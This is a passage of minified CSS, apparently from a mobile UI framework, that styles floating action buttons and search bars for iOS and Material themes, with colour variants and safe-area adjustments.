env(safe-area-inset-right))}}.md .fab-buttons a,.md .fab>a{background:#2196f3;width:56px;height:56px;border-radius:28px;color:#fff;-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12);box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)}.md .fab-buttons a.active-state,.md .fab>a.active-state{background:#0c82df}.md .fab[class*=fab-left]{left:15px}.md .fab[class*=fab-right]{right:15px}.md .fab[class*="-top"]{top:15px}.md .fab[class*="-bottom"]{bottom:15px}.md .navbar~* .fab[class*="-top"],.md .navbar~.fab[class*="-top"]{margin-top:56px}@media (min-width:768px){.md .navbar~* .fab[class*="-top"],.md .navbar~.fab[class*="-top"]{margin-top:64px}}.md .toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .fab[class*="-top"],.md .toolbar:not(.toolbar-bottom-md):not(.messagebar)~.fab[class*="-top"]{margin-top:48px}.md .tabbar-labels:not(.toolbar-bottom-md)~* .fab[class*="-top"],.md .tabbar-labels:not(.toolbar-bottom-md)~.fab[class*="-top"]{margin-top:72px}.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .fab[class*="-top"],.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.fab[class*="-top"]{margin-top:104px}.md .navbar+.tabbar-labels:not(.toolbar-bottom-md)~* .fab[class*="-top"],.md .navbar+.tabbar-labels:not(.toolbar-bottom-md)~.fab[class*="-top"]{margin-top:128px}@media (min-width:768px){.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~* .fab[class*="-top"],.md .navbar+.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.fab[class*="-top"]{margin-top:112px}.md .navbar+.tabbar-labels:not(.toolbar-bottom-md)~* .fab[class*="-top"],.md .navbar+.tabbar-labels:not(.toolbar-bottom-md)~.fab[class*="-top"]{margin-top:136px}}.md .messagebar~* .fab[class*="-bottom"],.md .messagebar~.fab[class*="-bottom"],.md .toolbar-bottom-md~* .fab[class*="-bottom"],.md .toolbar-bottom-md~.fab[class*="-bottom"]{margin-bottom:48px}.md .toolbar-bottom-md.tabbar-labels~* .fab[class*="-bottom"],.md .toolbar-bottom-md.tabbar-labels~.fab[class*="-bottom"]{margin-bottom:72px}.md .fab-morph{border-radius:28px;background:#2196f3;-webkit-box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12);box-shadow:0 3px 5px -1px rgba(0,0,0,.2),0 6px 10px 0 rgba(0,0,0,.14),0 1px 18px 0 rgba(0,0,0,.12)}.md .fab-morph>a{-webkit-box-shadow:none;box-shadow:none;background:0 0!important}.md .fab-extended{min-width:48px}.md .fab-extended>a{height:48px}.md .fab-extended>a i{left:24px}.md .fab-extended i~.fab-text{padding-left:48px}.md .fab-text{font-weight:500;letter-spacing:.03em}.md .fab-label{-webkit-box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12);box-shadow:0 3px 3px -2px rgba(0,0,0,.2),0 3px 4px 0 rgba(0,0,0,.14),0 1px 8px 0 rgba(0,0,0,.12)}.md .color-theme-red .fab-buttons a,.md .color-theme-red .fab>a,.md .color-theme-red.fab-buttons a,.md .color-theme-red.fab>a{background:#f44336}.md .color-theme-red .fab-buttons a.active-state,.md .color-theme-red .fab>a.active-state,.md .color-theme-red.fab-buttons a.active-state,.md .color-theme-red.fab>a.active-state{background:#f21f0f}.md .color-theme-red .fab-morph,.md .color-theme-red.fab-morph{background:#f44336}.md .color-theme-green .fab-buttons a,.md .color-theme-green .fab>a,.md .color-theme-green.fab-buttons a,.md .color-theme-green.fab>a{background:#4caf50}.md .color-theme-green .fab-buttons a.active-state,.md .color-theme-green .fab>a.active-state,.md .color-theme-green.fab-buttons a.active-state,.md .color-theme-green.fab>a.active-state{background:#409343}.md .color-theme-green .fab-morph,.md .color-theme-green.fab-morph{background:#4caf50}.md .color-theme-blue .fab-buttons a,.md .color-theme-blue .fab>a,.md .color-theme-blue.fab-buttons a,.md .color-theme-blue.fab>a{background:#2196f3}.md .color-theme-blue .fab-buttons a.active-state,.md .color-theme-blue .fab>a.active-state,.md .color-theme-blue.fab-buttons a.active-state,.md .color-theme-blue.fab>a.active-state{background:#0c82df}.md .color-theme-blue .fab-morph,.md .color-theme-blue.fab-morph{background:#2196f3}.md .color-theme-pink .fab-buttons a,.md .color-theme-pink .fab>a,.md .color-theme-pink.fab-buttons a,.md .color-theme-pink.fab>a{background:#e91e63}.md .color-theme-pink .fab-buttons a.active-state,.md .color-theme-pink .fab>a.active-state,.md .color-theme-pink.fab-buttons a.active-state,.md .color-theme-pink.fab>a.active-state{background:#ca1452}.md .color-theme-pink .fab-morph,.md .color-theme-pink.fab-morph{background:#e91e63}.md .color-theme-yellow .fab-buttons a,.md .color-theme-yellow .fab>a,.md .color-theme-yellow.fab-buttons a,.md .color-theme-yellow.fab>a{background:#ffeb3b}.md .color-theme-yellow .fab-buttons a.active-state,.md .color-theme-yellow .fab>a.active-state,.md .color-theme-yellow.fab-buttons a.active-state,.md .color-theme-yellow.fab>a.active-state{background:#ffe712}.md .color-theme-yellow .fab-morph,.md .color-theme-yellow.fab-morph{background:#ffeb3b}.md .color-theme-orange .fab-buttons a,.md .color-theme-orange .fab>a,.md .color-theme-orange.fab-buttons a,.md .color-theme-orange.fab>a{background:#ff9800}.md .color-theme-orange .fab-buttons a.active-state,.md .color-theme-orange .fab>a.active-state,.md .color-theme-orange.fab-buttons a.active-state,.md .color-theme-orange.fab>a.active-state{background:#d68000}.md .color-theme-orange .fab-morph,.md .color-theme-orange.fab-morph{background:#ff9800}.md .color-theme-gray .fab-buttons a,.md .color-theme-gray .fab>a,.md .color-theme-gray.fab-buttons a,.md .color-theme-gray.fab>a{background:#9e9e9e}.md .color-theme-gray .fab-buttons a.active-state,.md .color-theme-gray .fab>a.active-state,.md .color-theme-gray.fab-buttons a.active-state,.md .color-theme-gray.fab>a.active-state{background:#8a8a8a}.md .color-theme-gray .fab-morph,.md .color-theme-gray.fab-morph{background:#9e9e9e}.md .color-theme-white .fab-buttons a,.md .color-theme-white .fab>a,.md .color-theme-white.fab-buttons a,.md .color-theme-white.fab>a{background:#fff}.md .color-theme-white .fab-buttons a.active-state,.md .color-theme-white .fab>a.active-state,.md .color-theme-white.fab-buttons a.active-state,.md .color-theme-white.fab>a.active-state{background:#ebebeb}.md .color-theme-white .fab-morph,.md .color-theme-white.fab-morph{background:#fff}.md .color-theme-black .fab-buttons a,.md .color-theme-black .fab>a,.md .color-theme-black.fab-buttons a,.md .color-theme-black.fab>a{background:#000}.md .color-theme-black .fab-buttons a.active-state,.md .color-theme-black .fab>a.active-state,.md .color-theme-black.fab-buttons a.active-state,.md .color-theme-black.fab>a.active-state{background:#000}.md .color-theme-black .fab-morph,.md .color-theme-black.fab-morph{background:#000}.md .fab .fab-buttons>a.color-red,.md .fab-buttons.color-red a,.md .fab.color-red .fab-buttons>a,.md .fab.color-red>a,.md .fab>a.color-red{background:#f44336}.md .fab .fab-buttons>a.color-red.active-state,.md .fab-buttons.color-red a.active-state,.md .fab.color-red .fab-buttons>a.active-state,.md .fab.color-red>a.active-state,.md .fab>a.color-red.active-state{background:#f21f0f}.md .fab-morph.color-red{background:#f44336}.md .fab .fab-buttons>a.color-green,.md .fab-buttons.color-green a,.md .fab.color-green .fab-buttons>a,.md .fab.color-green>a,.md .fab>a.color-green{background:#4caf50}.md .fab .fab-buttons>a.color-green.active-state,.md .fab-buttons.color-green a.active-state,.md .fab.color-green .fab-buttons>a.active-state,.md .fab.color-green>a.active-state,.md .fab>a.color-green.active-state{background:#409343}.md .fab-morph.color-green{background:#4caf50}.md .fab .fab-buttons>a.color-blue,.md .fab-buttons.color-blue a,.md .fab.color-blue .fab-buttons>a,.md .fab.color-blue>a,.md .fab>a.color-blue{background:#2196f3}.md .fab .fab-buttons>a.color-blue.active-state,.md .fab-buttons.color-blue a.active-state,.md .fab.color-blue .fab-buttons>a.active-state,.md .fab.color-blue>a.active-state,.md .fab>a.color-blue.active-state{background:#0c82df}.md .fab-morph.color-blue{background:#2196f3}.md .fab .fab-buttons>a.color-pink,.md .fab-buttons.color-pink a,.md .fab.color-pink .fab-buttons>a,.md .fab.color-pink>a,.md .fab>a.color-pink{background:#e91e63}.md .fab .fab-buttons>a.color-pink.active-state,.md .fab-buttons.color-pink a.active-state,.md .fab.color-pink .fab-buttons>a.active-state,.md .fab.color-pink>a.active-state,.md .fab>a.color-pink.active-state{background:#ca1452}.md .fab-morph.color-pink{background:#e91e63}.md .fab .fab-buttons>a.color-yellow,.md .fab-buttons.color-yellow a,.md .fab.color-yellow .fab-buttons>a,.md .fab.color-yellow>a,.md .fab>a.color-yellow{background:#ffeb3b}.md .fab .fab-buttons>a.color-yellow.active-state,.md .fab-buttons.color-yellow a.active-state,.md .fab.color-yellow .fab-buttons>a.active-state,.md .fab.color-yellow>a.active-state,.md .fab>a.color-yellow.active-state{background:#ffe712}.md .fab-morph.color-yellow{background:#ffeb3b}.md .fab .fab-buttons>a.color-orange,.md .fab-buttons.color-orange a,.md .fab.color-orange .fab-buttons>a,.md .fab.color-orange>a,.md .fab>a.color-orange{background:#ff9800}.md .fab .fab-buttons>a.color-orange.active-state,.md .fab-buttons.color-orange a.active-state,.md .fab.color-orange .fab-buttons>a.active-state,.md .fab.color-orange>a.active-state,.md .fab>a.color-orange.active-state{background:#d68000}.md .fab-morph.color-orange{background:#ff9800}.md .fab .fab-buttons>a.color-gray,.md .fab-buttons.color-gray a,.md .fab.color-gray .fab-buttons>a,.md .fab.color-gray>a,.md .fab>a.color-gray{background:#9e9e9e}.md .fab .fab-buttons>a.color-gray.active-state,.md .fab-buttons.color-gray a.active-state,.md .fab.color-gray .fab-buttons>a.active-state,.md .fab.color-gray>a.active-state,.md .fab>a.color-gray.active-state{background:#8a8a8a}.md .fab-morph.color-gray{background:#9e9e9e}.md .fab .fab-buttons>a.color-white,.md .fab-buttons.color-white a,.md .fab.color-white .fab-buttons>a,.md .fab.color-white>a,.md .fab>a.color-white{background:#fff}.md .fab .fab-buttons>a.color-white.active-state,.md .fab-buttons.color-white a.active-state,.md .fab.color-white .fab-buttons>a.active-state,.md .fab.color-white>a.active-state,.md .fab>a.color-white.active-state{background:#ebebeb}.md .fab-morph.color-white{background:#fff}.md .fab .fab-buttons>a.color-black,.md .fab-buttons.color-black a,.md .fab.color-black .fab-buttons>a,.md .fab.color-black>a,.md .fab>a.color-black{background:#000}.md .fab .fab-buttons>a.color-black.active-state,.md .fab-buttons.color-black a.active-state,.md .fab.color-black .fab-buttons>a.active-state,.md .fab.color-black>a.active-state,.md .fab>a.color-black.active-state{background:#000}.md .fab-morph.color-black{background:#000}.md.device-iphone-x .fab[class*="-bottom"]{bottom:calc(16px + constant(safe-area-inset-bottom));bottom:calc(16px + env(safe-area-inset-bottom))}@media (orientation:landscape){.md.device-iphone-x .ios-edges .fab[class*=fab-left],.md.device-iphone-x .ios-left-edge .fab[class*=fab-left],.md.device-iphone-x .panel-left .fab[class*=fab-left],.md.device-iphone-x .popup .fab[class*=fab-left],.md.device-iphone-x .sheet-modal .fab[class*=fab-left]{left:calc(16px + constant(safe-area-inset-left));left:calc(16px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .fab[class*=fab-right],.md.device-iphone-x .ios-right-edge .fab[class*=fab-right],.md.device-iphone-x .panel-right .fab[class*=fab-right],.md.device-iphone-x .popup .fab[class*=fab-right],.md.device-iphone-x .sheet-modal .fab[class*=fab-right]{right:calc(16px + constant(safe-area-inset-right));right:calc(16px + env(safe-area-inset-right))}}.searchbar{width:100%;position:relative;z-index:200}.searchbar .searchbar-input-wrap{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;width:100%;height:100%;position:relative}.searchbar .searchbar-input-wrap input[type=search]{padding:0}.searchbar .searchbar-input-wrap input::-webkit-search-cancel-button{-webkit-appearance:none;appearance:none}.page>.searchbar{position:absolute;left:0;top:0}.searchbar-expandable{position:absolute;-webkit-transition-duration:.3s;transition-duration:.3s;pointer-events:none}.searchbar-inner{position:absolute;left:0;top:0;width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-sizing:border-box;box-sizing:border-box}.searchbar-disable-button{cursor:pointer;pointer-events:none;-webkit-appearance:none;-moz-appearance:none;appearance:none;background:0 0;border:none;outline:0;padding:0;margin:0;width:auto;opacity:0}.searchbar-icon{pointer-events:none;background-position:center;background-repeat:no-repeat}.searchbar-backdrop{position:absolute;left:0;top:0;width:100%;height:100%;z-index:100;opacity:0;pointer-events:none;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.searchbar-backdrop.searchbar-backdrop-in{opacity:1;pointer-events:auto}.page-content>.searchbar-backdrop{position:fixed}.searchbar-not-found{display:none}.hidden-by-searchbar,.list .hidden-by-searchbar,.list li.hidden-by-searchbar,.list.li.hidden-by-searchbar{display:none!important}.ios .searchbar{height:44px;background:#f7f7f8}.ios .searchbar.no-hairline:after{display:none!important}.ios .searchbar input[type=search],.ios .searchbar input[type=text]{padding:0 28px;-webkit-box-sizing:border-box;box-sizing:border-box;width:100%;height:100%;display:block;border:none;-webkit-appearance:none;-moz-appearance:none;appearance:none;border-radius:10px;border-radius:8px;font-family:inherit;color:#000;font-size:17px;font-weight:400;z-index:30;background-color:#e8e8ea;position:relative}.ios .searchbar input[type=search]::-webkit-input-placeholder,.ios .searchbar input[type=text]::-webkit-input-placeholder{color:#939398;opacity:1}.ios .searchbar input[type=search]:-ms-input-placeholder,.ios .searchbar input[type=text]:-ms-input-placeholder{color:#939398;opacity:1}.ios .searchbar input[type=search]::-ms-input-placeholder,.ios .searchbar input[type=text]::-ms-input-placeholder{color:#939398;opacity:1}.ios .searchbar input[type=search]::placeholder,.ios .searchbar input[type=text]::placeholder{color:#939398;opacity:1}.ios .searchbar .input-clear-button{z-index:40;right:7px}.ios .searchbar-inner{padding:0 8px}.ios .searchbar-icon{width:13px;height:13px;position:absolute;top:50%;margin-top:-6px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2013'%20enable-background%3D'new%200%200%2013%2013'%3E%3Cg%3E%3Cpath%20fill%3D'%23939398'%20d%3D'M5%2C1c2.2%2C0%2C4%2C1.8%2C4%2C4S7.2%2C9%2C5%2C9S1%2C7.2%2C1%2C5S2.8%2C1%2C5%2C1%20M5%2C0C2.2%2C0%2C0%2C2.2%2C0%2C5s2.2%2C5%2C5%2C5s5-2.2%2C5-5S7.8%2C0%2C5%2C0%20L5%2C0z'%2F%3E%3C%2Fg%3E%3Cline%20stroke%3D'%23939398'%20stroke-miterlimit%3D'10'%20stroke-width%3D'1.5'%20x1%3D'12.6'%20y1%3D'12.6'%20x2%3D'8.2'%20y2%3D'8.2'%2F%3E%3C%2Fsvg%3E");background-size:13px 13px;z-index:40;left:8px}.ios .searchbar-backdrop{background:rgba(0,0,0,.4)}.ios .searchbar-input-wrap{height:32px}.ios .searchbar:after{content:'';position:absolute;background-color:#c4c4c4;display:block;z-index:15;top:auto;right:auto;bottom:0;left:0;height:1px;width:100%;-webkit-transform-origin:50% 100%;transform-origin:50% 100%}.ios.device-pixel-ratio-2 .searchbar:after{-webkit-transform:scaleY(.5);transform:scaleY(.5)}.ios.device-pixel-ratio-3 .searchbar:after{-webkit-transform:scaleY(.33);transform:scaleY(.33)}.ios .searchbar-disable-button{font-size:17px;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);-webkit-transition-duration:.3s;transition-duration:.3s;color:#007aff;display:none}.ios .searchbar-disable-button.active-state{-webkit-transition-duration:0s;transition-duration:0s;opacity:.3!important}.ios .searchbar-enabled .searchbar-disable-button{pointer-events:auto;opacity:1;margin-left:8px}.ios .searchbar:not(.searchbar-enabled) .searchbar-disable-button{-webkit-transition-duration:.3s!important;transition-duration:.3s!important}.ios .searchbar-expandable{left:0;bottom:0;opacity:1;width:100%;height:0%;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);overflow:hidden}.ios .searchbar-expandable .searchbar-disable-button{margin-left:8px;opacity:1;display:block}.ios .searchbar-expandable .searchbar-inner{height:44px}.ios .searchbar-expandable.searchbar-enabled{opacity:1;height:100%;pointer-events:auto}.ios .page>.searchbar{z-index:200}.ios .navbar~.page:not(.no-navbar)>.searchbar,.ios .page>.navbar~.searchbar{top:44px}.ios .navbar~.page:not(.no-navbar)>.searchbar~* .page-content,.ios .navbar~.page:not(.no-navbar)>.searchbar~.page-content,.ios .page>.navbar~.searchbar~* .page-content,.ios .page>.navbar~.searchbar~.page-content{padding-top:88px}.ios .theme-dark .searchbar,.searchbar.ios .theme-dark{background-color:#303030}.ios .theme-dark .searchbar:after,.searchbar.ios .theme-dark:after{background-color:#282829}.ios .theme-dark .searchbar input[type=search],.ios .theme-dark .searchbar input[type=text],.searchbar.ios .theme-dark input[type=search],.searchbar.ios .theme-dark input[type=text]{background-color:#171717;color:#fff}.ios .color-theme-red .searchbar-disable-button{color:#ff3b30}.ios .color-theme-green .searchbar-disable-button{color:#4cd964}.ios .color-theme-blue .searchbar-disable-button{color:#007aff}.ios .color-theme-pink .searchbar-disable-button{color:#ff2d55}.ios .color-theme-yellow .searchbar-disable-button{color:#fc0}.ios .color-theme-orange .searchbar-disable-button{color:#ff9500}.ios .color-theme-gray .searchbar-disable-button{color:#8e8e93}.ios .color-theme-white .searchbar-disable-button{color:#fff}.ios .color-theme-black .searchbar-disable-button{color:#000}@media (orientation:landscape){.ios.device-iphone-x .ios-edges .searchbar-inner,.ios.device-iphone-x .ios-left-edge .searchbar-inner,.ios.device-iphone-x .panel-left .searchbar-inner,.ios.device-iphone-x .popup .searchbar-inner,.ios.device-iphone-x .sheet-modal .searchbar-inner{padding-left:calc(8px + constant(safe-area-inset-left));padding-left:calc(8px + env(safe-area-inset-left))}.ios.device-iphone-x .ios-edges .searchbar-inner,.ios.device-iphone-x .ios-right-edge .searchbar-inner,.ios.device-iphone-x .panel-right .searchbar-inner,.ios.device-iphone-x .popup .searchbar-inner,.ios.device-iphone-x .sheet-modal .searchbar-inner{padding-right:calc(8px + constant(safe-area-inset-right));padding-right:calc(8px + env(safe-area-inset-right))}}.md .searchbar{height:48px;background:#fff}.md .searchbar input[type=search],.md .searchbar input[type=text]{padding-left:65px;padding-right:48px;-webkit-box-sizing:border-box;box-sizing:border-box;width:100%;height:100%;display:block;border:none;-webkit-appearance:none;-moz-appearance:none;appearance:none;font-family:inherit;font-size:20px;color:#000;font-weight:400}.md .searchbar input[type=search]::-webkit-input-placeholder,.md .searchbar input[type=text]::-webkit-input-placeholder{color:#939398;opacity:1}.md .searchbar input[type=search]:-ms-input-placeholder,.md .searchbar input[type=text]:-ms-input-placeholder{color:#939398;opacity:1}.md .searchbar input[type=search]::-ms-input-placeholder,.md .searchbar input[type=text]::-ms-input-placeholder{color:#939398;opacity:1}.md .searchbar input[type=search]::placeholder,.md .searchbar input[type=text]::placeholder{color:#939398;opacity:1}.md .searchbar-expandable{height:100%}.md .searchbar-backdrop{background:rgba(0,0,0,.25)}.md .searchbar-disable-button,.md .searchbar-icon{position:absolute;width:48px;height:48px;left:-4px;top:50%;margin-top:-24px;background-size:24px 24px;background-repeat:no-repeat;background-position:center;-webkit-transition-duration:.3s;transition-duration:.3s}.md .searchbar-icon{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M15.5%2014h-.79l-.28-.27C15.41%2012.59%2016%2011.11%2016%209.5%2016%205.91%2013.09%203%209.5%203S3%205.91%203%209.5%205.91%2016%209.5%2016c1.61%200%203.09-.59%204.23-1.57l.27.28v.79l5%204.99L20.49%2019l-4.99-5zm-6%200C7.01%2014%205%2011.99%205%209.5S7.01%205%209.5%205%2014%207.01%2014%209.5%2011.99%2014%209.5%2014z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E")}.md .searchbar-disable-button{-webkit-transform:rotate(-90deg) scale(.5);transform:rotate(-90deg) scale(.5);font-size:0!important;display:block;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20width%3D'24'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%3E%3Cpath%20d%3D'M20%2011H7.83l5.59-5.59L12%204l-8%208%208%208%201.41-1.41L7.83%2013H20v-2z'%20fill%3D'%23737373'%2F%3E%3C%2Fsvg%3E")}.md .searchbar-disable-button:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .searchbar-disable-button.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .searchbar-enabled .searchbar-disable-button{-webkit-transform:rotate(0) scale(1);transform:rotate(0) scale(1);pointer-events:auto;opacity:1}.md .searchbar-enabled .searchbar-icon{opacity:0;-webkit-transform:rotate(90deg) scale(.5);transform:rotate(90deg) scale(.5)}.md .searchbar .input-clear-button{width:48px;height:48px;margin-top:-24px;background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20fill%3D'%23737373'%20height%3D'24'%20viewBox%3D'0%200%2024%2024'%20width%3D'24'%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%3E%3Cpath%20d%3D'M19%206.41L17.59%205%2012%2010.59%206.41%205%205%206.41%2010.59%2012%205%2017.59%206.41%2019%2012%2013.41%2017.59%2019%2019%2017.59%2013.41%2012z'%2F%3E%3Cpath%20d%3D'M0%200h24v24H0z'%20fill%3D'none'%2F%3E%3C%2Fsvg%3E");border-radius:0;background-repeat:no-repeat;background-position:center;background-size:24px 24px;background-color:transparent;right:0}.md .searchbar .input-clear-button:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-image:radial-gradient(circle at center,rgba(0,0,0,.1) 66%,rgba(0,0,0,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .searchbar .input-clear-button.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .searchbar .input-clear-button:after{display:none}.md .searchbar .input-clear-button:before{margin-left:0;margin-top:0}.md .page-content .searchbar{border-radius:2px;margin:8px;width:auto;-webkit-box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24);box-shadow:0 1px 3px rgba(0,0,0,.12),0 1px 2px rgba(0,0,0,.24)}.md .page-content .searchbar .searchbar-inner{border-radius:2px}.md .page>.searchbar{z-index:510}.md .page>.searchbar:after{content:'';position:absolute;right:0;width:100%;top:100%;bottom:auto;height:10px;pointer-events:none;background:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.3)),color-stop(40%,rgba(0,0,0,.1)),color-stop(50%,rgba(0,0,0,.05)),color-stop(80%,rgba(0,0,0,0)),to(rgba(0,0,0,0)));background:-webkit-linear-gradient(top,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%);background:linear-gradient(to bottom,rgba(0,0,0,.3) 0,rgba(0,0,0,.1) 40%,rgba(0,0,0,.05) 50%,rgba(0,0,0,0) 80%,rgba(0,0,0,0) 100%)}.md .page>.searchbar.no-shadow:after{display:none}.md .page>.searchbar input[type=search],.md .page>.searchbar input[type=text],.md .searchbar-expandable input[type=search],.md .searchbar-expandable input[type=text],.md .subnavbar .searchbar input[type=search],.md .subnavbar .searchbar input[type=text]{padding-left:73px}.md .page>.searchbar .searchbar-disable-button,.md .page>.searchbar .searchbar-icon,.md .searchbar-expandable .searchbar-disable-button,.md .searchbar-expandable .searchbar-icon,.md .subnavbar .searchbar .searchbar-disable-button,.md .subnavbar .searchbar .searchbar-icon{left:4px}.md .searchbar-expandable{width:56px;height:100%;opacity:0;top:50%;margin-top:-28px;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);left:100%;margin-left:-56px}.md .navbar .searchbar-expandable{border-radius:28px;width:56px;margin-top:-28px;margin-left:-56px}@media (min-width:768px){.md .navbar .searchbar-expandable{border-radius:32px;width:64px;margin-top:-32px;margin-left:-64px}}.md .subnavbar .searchbar-expandable,.md .toolbar .searchbar-expandable{border-radius:24px;width:48px;margin-top:-24px;margin-left:-48px}.md .tabbar-labels .searchbar-expandable{border-radius:36px;width:72px;margin-top:-36px;margin-left:-72px}.md .searchbar-expandable.searchbar-enabled{width:100%;border-radius:0;opacity:1;pointer-events:auto;top:0;margin-top:0;left:0;margin-left:0}.md .page>.searchbar~* .page-content,.md .page>.searchbar~.page-content{padding-top:48px}.md .page>.navbar~.searchbar{top:56px}@media (min-width:768px){.md .page>.navbar~.searchbar{top:64px}}.md .page>.navbar~.searchbar~* .page-content,.md .page>.navbar~.searchbar~.page-content{padding-top:104px}@media (min-width:768px){.md .page>.navbar~.searchbar~* .page-content,.md .page>.navbar~.searchbar~.page-content{padding-top:112px}}.md .page>.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar{top:48px}.md .page>.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~* .page-content,.md .page>.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~.page-content{padding-top:96px}.md .page>.tabbar-labels:not(.toolbar-bottom-md)~.searchbar{top:72px}.md .page>.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~* .page-content,.md .page>.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~.page-content{padding-top:120px}.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar{top:104px}@media (min-width:768px){.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar{top:112px}}.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~* .page-content,.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~.page-content{padding-top:152px}@media (min-width:768px){.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~* .page-content,.md .page>.navbar~.toolbar:not(.toolbar-bottom-md):not(.messagebar)~.searchbar~.page-content{padding-top:160px}}.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar{top:128px}@media (min-width:768px){.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar{top:136px}}.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~* .page-content,.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~.page-content{padding-top:176px}@media (min-width:768px){.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~* .page-content,.md .page>.navbar~.tabbar-labels:not(.toolbar-bottom-md)~.searchbar~.page-content{padding-top:184px}}@media (orientation:landscape){.md.device-iphone-x .ios-edges .searchbar-inner,.md.device-iphone-x .ios-left-edge .searchbar-inner,.md.device-iphone-x .panel-left .searchbar-inner,.md.device-iphone-x .popup .searchbar-inner,.md.device-iphone-x .sheet-modal .searchbar-inner{padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left)}.md.device-iphone-x .ios-edges .searchbar-disable-button,.md.device-iphone-x .ios-left-edge .searchbar-disable-button,.md.device-iphone-x .panel-left .searchbar-disable-button,.md.device-iphone-x .popup .searchbar-disable-button,.md.device-iphone-x .sheet-modal .searchbar-disable-button{left:calc(4px + constant(safe-area-inset-left));left:calc(4px + env(safe-area-inset-left))}.md.device-iphone-x .ios-edges .searchbar-inner,.md.device-iphone-x .ios-right-edge .searchbar-inner,.md.device-iphone-x .panel-right .searchbar-inner,.md.device-iphone-x .popup .searchbar-inner,.md.device-iphone-x .sheet-modal 